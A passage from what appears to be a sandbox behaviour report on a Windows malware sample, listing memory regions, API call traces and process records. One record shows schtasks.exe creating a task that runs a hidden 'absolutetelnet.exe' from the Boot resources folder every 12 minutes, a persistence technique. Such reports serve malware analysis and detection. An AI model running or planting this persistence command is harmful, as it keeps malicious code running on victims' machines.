0x7ffb1c688fff monitored = 0 entry_point = 0x7ffb1c674530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3031 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3032 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3033 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3034 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3035 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3036 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3037 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3038 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3039 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3040 start_va = 0x7ffb1fdf0000 end_va = 0x7ffb1fe5afff monitored = 0 entry_point = 0x7ffb1fe090c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3041 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3042 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3043 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3044 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3045 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8859 start_va = 0x5661280000 end_va = 0x56612fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005661280000" filename = "" Region: id = 8860 start_va = 0x7ffb12110000 end_va = 0x7ffb12120fff monitored = 0 entry_point = 0x7ffb12112fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Thread: id = 139 os_tid = 0x934 Thread: id = 140 os_tid = 0xb8c [0256.762] DllGetClassObject (in: rclsid=0x2117e38a7a0*(Data1=0xd2d588b5, Data2=0xd081, Data3=0x11d0, Data4=([0]=0x99, [1]=0xe0, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xc2, [6]=0xf8, [7]=0xec)), riid=0x7ff6e634e0e8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x566117d728 | out: ppv=0x566117d728*=0x2117ed11ed0) returned 0x0 [0256.762] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x0 [0256.762] malloc (_Size=0x20) returned 0x2117ed11ed0 [0256.762] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x7ffb14633060 [0256.763] IClassFactory:CreateInstance (This=0x2117ed11ed0, pUnkOuter=0x0, riid=0x7ff6e634e0f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x566117da70) [0256.763] malloc (_Size=0x198) returned 0x2117ed0def0 [0256.763] GetProcessHeap () returned 0x2117e360000 [0256.763] RtlAllocateHeap (HeapHandle=0x2117e360000, Flags=0x8, Size=0x28) returned 0x2117e3990a0 [0256.763] GetProcessHeap () returned 0x2117e360000 [0256.763] malloc (_Size=0x10) returned 0x2117e5d16c0 [0256.763] RtlAllocateHeap (HeapHandle=0x2117e360000, Flags=0x8, Size=0x198) returned 0x2117e3c9d10 [0256.763] GetProcessHeap () returned 0x2117e360000 [0256.763] GetTickCount () [0256.764] IUnknown:Release (This=0x2117ed11ed0) returned 0x0 [0256.764] free (_Block=0x2117ed11ed0) [0256.767] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x3 [0256.767] CoCreateInstance (in: rclsid=0x7ffb146460e0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb146460f0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x566117d620 | out: ppv=0x566117d620*=0x2117e3c3570) returned 0x0 [0256.772] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2117e3c3570, strNetworkResource="root\\wmi", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=64, strAuthority=0x0, pCtx=0x2117e3a5570, ppNamespace=0x2117ed0df18 | out: ppNamespace=0x2117ed0df18*=0x2117e39bc60) returned 0x0 [0256.781] WbemLocator:IUnknown:Release (This=0x2117e3c3570) returned 0x0 [0256.781] RtlTryEnterCriticalSection (CriticalSection=0x7ffb14656da8) returned 1 Thread: id = 141 os_tid = 0x5ac [0131.917] DllCanUnloadNow () returned 0x1 [0131.917] DllCanUnloadNow () returned 0x1 [0252.077] DllCanUnloadNow () returned 0x1 [0252.077] DllCanUnloadNow () returned 0x1 Thread: id = 142 os_tid = 0x808 Thread: id = 143 os_tid = 0x64c Thread: id = 144 os_tid = 0x5a0 Thread: id = 145 os_tid = 0x8c Thread: id = 288 os_tid = 0x12f4 Process: id = "10" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x6f064000" os_pid = "0x12cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x11a8" cmd_line = "schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2820 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2821 start_va = 0x1adf450000 end_va = 0x1adf4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000001adf450000" filename = "" Region: id = 2822 start_va = 0x1adf600000 end_va = 0x1adf7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000001adf600000" filename = "" Region: id = 2823 start_va = 0x1abb7850000 end_va = 0x1abb786ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb7850000" filename = "" Region: id = 2824 start_va = 0x1abb7870000 end_va = 0x1abb7884fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb7870000" filename = "" Region: id = 2825 start_va = 0x1abb7890000 end_va = 0x1abb7893fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb7890000" filename = "" Region: id = 2826 start_va = 0x1abb78a0000 end_va = 0x1abb78a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb78a0000" filename = "" Region: id = 2827 start_va = 0x1abb78b0000 end_va = 0x1abb78b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb78b0000" filename = "" Region: id = 2828 start_va = 0x7df5ffd10000 end_va = 0x7ff5ffd0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffd10000" filename = "" Region: id = 2829 start_va = 0x7ff6b65c0000 end_va = 0x7ff6b65e2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b65c0000" filename = "" Region: id = 2830 start_va = 0x7ff6b6f50000 end_va = 0x7ff6b6f8cfff monitored = 1 entry_point = 0x7ff6b6f74550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2831 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2834 start_va = 0x1abb78c0000 end_va = 0x1abb7b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb78c0000" filename = "" Region: id = 2835 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2836 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2837 start_va = 0x1abb7850000 end_va = 0x1abb785ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb7850000" filename = "" Region: id = 2838 start_va = 0x7ff6b64c0000 end_va = 0x7ff6b65bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b64c0000" filename = "" Region: id = 2839 start_va = 0x1abb78c0000 end_va = 0x1abb797dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2840 start_va = 0x1abb7a10000 end_va = 0x1abb7b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb7a10000" filename = "" Region: id = 2841 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2842 start_va = 0x1adf4d0000 end_va = 0x1adf54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000001adf4d0000" filename = "" Region: id = 2843 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2844 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2845 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2846 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2847 start_va = 0x1abb7980000 end_va = 0x1abb799ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb7980000" filename = "" Region: id = 2848 start_va = 0x1abb7860000 end_va = 0x1abb7866fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb7860000" filename = "" Region: id = 2849 start_va = 0x1abb7b10000 end_va = 0x1abb7c52fff monitored = 0 entry_point = 0x1abb7b38210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2850 start_va = 0x1abb7980000 end_va = 0x1abb7986fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb7980000" filename = "" Region: id = 2851 start_va = 0x1abb7990000 end_va = 0x1abb799ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb7990000" filename = "" Region: id = 2852 start_va = 0x1abb79a0000 end_va = 0x1abb79b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2853 start_va = 0x1abb7b10000 end_va = 0x1abb7e46fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2854 start_va = 0x1abb7e50000 end_va = 0x1abb7f2cfff monitored = 0 entry_point = 0x1abb7eae0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2855 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2856 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2857 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2858 start_va = 0x1abb79c0000 end_va = 0x1abb79f8fff monitored = 0 entry_point = 0x1abb79c12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2859 start_va = 0x1abb7e50000 end_va = 0x1abb7fd7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb7e50000" filename = "" Region: id = 2860 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2861 start_va = 0x1abb79c0000 end_va = 0x1abb79c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb79c0000" filename = "" Region: id = 2862 start_va = 0x1abb79d0000 end_va = 0x1abb79d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001abb79d0000" filename = "" Region: id = 2863 start_va = 0x1abb7fe0000 end_va = 0x1abb8160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb7fe0000" filename = "" Region: id = 2864 start_va = 0x1abb8170000 end_va = 0x1abb956ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb8170000" filename = "" Region: id = 2865 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2866 start_va = 0x1abb79e0000 end_va = 0x1abb79e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb79e0000" filename = "" Region: id = 2867 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2868 start_va = 0x1abb79f0000 end_va = 0x1abb79f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001abb79f0000" filename = "" Region: id = 2869 start_va = 0x7ffb18f90000 end_va = 0x7ffb1904efff monitored = 0 entry_point = 0x7ffb18fb1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2870 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2874 start_va = 0x7ffb190b0000 end_va = 0x7ffb190e5fff monitored = 0 entry_point = 0x7ffb190c0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 149 os_tid = 0x12c4 [0128.528] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6b6f50000 [0128.528] __set_app_type (_Type=0x1) [0128.529] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6b6f748d0) returned 0x0 [0128.529] __wgetmainargs (in: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008, _DoWildCard=0, _StartInfo=0x7ff6b6f88014 | out: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008) returned 0 [0128.530] _onexit (_Func=0x7ff6b6f77ec0) returned 0x7ff6b6f77ec0 [0128.530] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0128.530] CsrIdentifyAlertableThread () returned 0x0 [0128.531] GetProcessHeap () returned 0x1abb7a10000 [0128.531] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a16080 [0128.531] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.531] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0128.531] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0128.531] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0128.531] RtlVerifyVersionInfo (VersionInfo=0x1adf4cf3a0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0128.531] GetProcessHeap () returned 0x1abb7a10000 [0128.531] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a160a0 [0128.532] lstrlenW (lpString="") returned 0 [0128.532] GetProcessHeap () returned 0x1abb7a10000 [0128.532] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x2) returned 0x1abb7a14a30 [0128.532] GetProcessHeap () returned 0x1abb7a10000 [0128.532] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a14a50 [0128.532] GetProcessHeap () returned 0x1abb7a10000 [0128.532] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a14a80 [0128.532] GetProcessHeap () returned 0x1abb7a10000 [0128.532] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a143e0 [0128.532] GetProcessHeap () returned 0x1abb7a10000 [0128.532] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a14410 [0128.532] GetProcessHeap () returned 0x1abb7a10000 [0128.532] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a14440 [0128.533] GetProcessHeap () returned 0x1abb7a10000 [0128.533] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a18fb0 [0128.534] GetProcessHeap () returned 0x1abb7a10000 [0128.534] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a14470 [0128.534] GetProcessHeap () returned 0x1abb7a10000 [0128.534] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a18ec0 [0128.534] GetProcessHeap () returned 0x1abb7a10000 [0128.534] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a18f50 [0128.534] GetProcessHeap () returned 0x1abb7a10000 [0128.534] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a190a0 [0128.534] GetProcessHeap () returned 0x1abb7a10000 [0128.534] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a19220 [0128.534] GetProcessHeap () returned 0x1abb7a10000 [0128.534] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a13fd0 [0128.534] GetProcessHeap () returned 0x1abb7a10000 [0128.534] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a190d0 [0128.534] GetProcessHeap () returned 0x1abb7a10000 [0128.535] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a191c0 [0128.535] GetProcessHeap () returned 0x1abb7a10000 [0128.535] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a191f0 [0128.535] GetProcessHeap () returned 0x1abb7a10000 [0128.535] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a19190 [0128.535] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.541] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.541] GetProcessHeap () returned 0x1abb7a10000 [0128.541] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a18ef0 [0128.541] GetProcessHeap () returned 0x1abb7a10000 [0128.541] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a18fe0 [0128.541] GetProcessHeap () returned 0x1abb7a10000 [0128.541] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a19160 [0128.541] GetProcessHeap () returned 0x1abb7a10000 [0128.541] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a19130 [0128.541] GetProcessHeap () returned 0x1abb7a10000 [0128.541] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a18f20 [0128.541] GetProcessHeap () returned 0x1abb7a10000 [0128.541] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a14780 [0128.542] _memicmp (_Buf1=0x1abb7a14780, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.542] GetProcessHeap () returned 0x1abb7a10000 [0128.542] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x208) returned 0x1abb7a19b60 [0128.542] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1abb7a19b60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0128.542] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x1adf4cf4f8 | out: lpdwHandle=0x1adf4cf4f8) returned 0x76c [0128.546] GetProcessHeap () returned 0x1abb7a10000 [0128.546] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x776) returned 0x1abb7a1a8c0 [0128.547] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1abb7a1a8c0 | out: lpData=0x1abb7a1a8c0) returned 1 [0128.547] VerQueryValueW (in: pBlock=0x1abb7a1a8c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1adf4cf490, puLen=0x1adf4cf4f0 | out: lplpBuffer=0x1adf4cf490*=0x1abb7a1ac70, puLen=0x1adf4cf4f0) returned 1 [0128.561] _memicmp (_Buf1=0x1abb7a14780, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.561] _vsnwprintf (in: _Buffer=0x1abb7a19b60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1adf4cf468 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0128.562] VerQueryValueW (in: pBlock=0x1abb7a1a8c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1adf4cf480, puLen=0x1adf4cf4e8 | out: lplpBuffer=0x1adf4cf480*=0x1abb7a1aaa0, puLen=0x1adf4cf4e8) returned 1 [0128.562] lstrlenW (lpString="schtasks.exe") returned 12 [0128.562] lstrlenW (lpString="schtasks.exe") returned 12 [0128.562] lstrlenW (lpString=".EXE") returned 4 [0128.562] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0128.564] lstrlenW (lpString="schtasks.exe") returned 12 [0128.564] lstrlenW (lpString=".EXE") returned 4 [0128.564] _memicmp (_Buf1=0x1abb7a14780, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.564] lstrlenW (lpString="schtasks") returned 8 [0128.564] GetProcessHeap () returned 0x1abb7a10000 [0128.564] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a19040 [0128.564] GetProcessHeap () returned 0x1abb7a10000 [0128.564] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a19070 [0128.564] GetProcessHeap () returned 0x1abb7a10000 [0128.564] RtlAllocateHeap 